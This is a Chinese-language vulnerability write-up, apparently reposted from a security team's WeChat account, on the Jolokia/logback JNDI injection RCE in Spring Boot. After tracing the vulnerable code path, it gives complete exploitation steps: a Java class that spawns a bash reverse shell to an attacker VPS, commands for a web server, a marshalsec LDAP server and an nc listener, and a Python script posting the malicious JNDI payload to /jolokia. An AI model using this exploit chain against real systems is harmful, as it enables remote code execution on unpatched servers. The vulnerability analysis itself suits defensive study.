【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

admin 2023年2月16日20:11:07评论209 views字数 2651阅读8分50秒阅读模式

点击关注公众号,知识干货及时送达👇

01

引言

introduction

Jolokia是一款开源产品,用于为JMX(Java Management Extensions)技术提供HTTP API接口。其中,该产品提供了一个API,用于调用在服务器上注册的MBean并读/写其属性。JMX技术用于管理和监视设备、应用程序和网络驱动的服务。

02

漏洞分析

Vulnerability analysis

Jolokia服务提供了一个代理模式,对于1.5.0之前的版本来说,默认情况下该模式含有一个JNDI注入漏洞。当Jolokia以代理模式进行部署时,可以访问Jolokia Web端点的外部攻击者能够利用JNDI注入攻击远程执行任意代码。这种注入攻击之所以能够得手,是因为Jolokia库使用用户提供的输入来启动LDAP/RMI连接。

在BlackHat USA 2016大会上,HP Enterprise就解释过JNDI攻击,同时,他们还展示了一些将JNDI攻击转换为远程执行代码的方法。

当第三方系统在代理模式下使用Jolokia服务的时候,该系统可以通过Jolokia端点执行远程代码。虽然端点被视为Jolokia的一个组件,但是Jolokia并没有为这个端点提供任何认证机制来保护服务器免受任意攻击者的攻击——尽管其官方文档强烈推荐提供认证机制。


分析步骤

在springframework包下的JolokiaMvcEndpoint类中,继承了父类的有参构造,只要节点为jolokia的请求都会经过handler方法

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

在JmxRequestFactory#createGetRequest方法中使用Stack<String> elements = EscapeUtil.extractElementsFromPath(pathInfo)通过"/"对路径进行解析。使用!/ 保留/

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

在JMXConfigurator#reloadByURL方法使用JoranConfigurator对象进行配置加载

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

跟进这个方法,将资源内容输入到流控制器给到in变量,再去调用 doConfigure方法

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

在doConfigure方法,构建了一个输入流对象接着获取systemId。再去调用doConfigure方法

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

跟进doConfigure方法,在recorder.recordEvents中去解析xml文件

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

解析xml文件

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

解析完xml文件内容之后,再一次调用了doConfigure方法

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

又去调用了一个play方法

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

在play方法中对xml文件内容进行了遍历,第二遍遍历到了ldap

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

跟进startElement方法,发现又调用了startElement方法。其调用了callBeginAction方法

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

跟进callBeginAction方法,调用begin方法

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

跟进begin方法,使用ec.subst解析xml文件内容获取值,直接跳到第三个循环中。可以看到调用了JNDIUtil.lookup方法访问恶意的ldap服务

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

03

漏洞利用

Exploits

1. 编译java利用代码,将其命名为Exploit.java,然后编译生成class文件:javac Exploit.java

public class Exploit {  public Exploit() {    try {      System.setSecurityManager(null);      java.lang.Runtime.getRuntime().exec("sh -c $@|sh . echo `bash -i >& /dev/tcp/VPS地址/8888 0>&1`");    } catch(Exception e) {      e.printStackTrace();    }  }}

2. 在Exploit.java目录下开启一个web服务

python3 -m http.server 80

3. 运行LDAP服务器在1389端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS地址/#Exploit 1389

工具下载地址:

https://github.com/RandomRobbieBF/marshalsec-jar

4. nc开启监听

nc -lvp 7777

5. 执行exp

import requests#url = 'http://x.x.x.x/jolokia/..;/jolokia/'url = 'http://x.x.x.x/jolokia'headers = {        "Accept": "application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*",        "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",        "Content-Type": "application/x-www-form-urlencoded",        }data = '''{    "type" : "read",    "mbean" : "java.lang:type=Memory",    "target" : {         "url" : "service:jmx:rmi:///jndi/ldap://VPS地址:1389/Exploit"    }}'''result = requests.post(url, headers=headers, data=data, timeout=5)

04

小结

Summary

一开始调试代码可能会看不懂,感觉有太多的干扰代码了,其实那些干扰代码不用去看也行的,看那些漏洞关键点的代码理清大概流程和逻辑。在寻找安全漏洞的时候,强烈建议首先阅读相关文档!有时这一招非常管用。对于Jolokia用户来说,我们建议将该软件更新至1.5.0版本。

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

END

【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

点击下方名片,关注我们

觉得内容不错,就点下在看
如果不想错过新的内容推送,可以设为星标【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

原文始发于微信公众号(承影安全团队):【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月16日20:11:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCEhttps://cn-sec.com/archives/1554221.html

发表评论

匿名网友 填写信息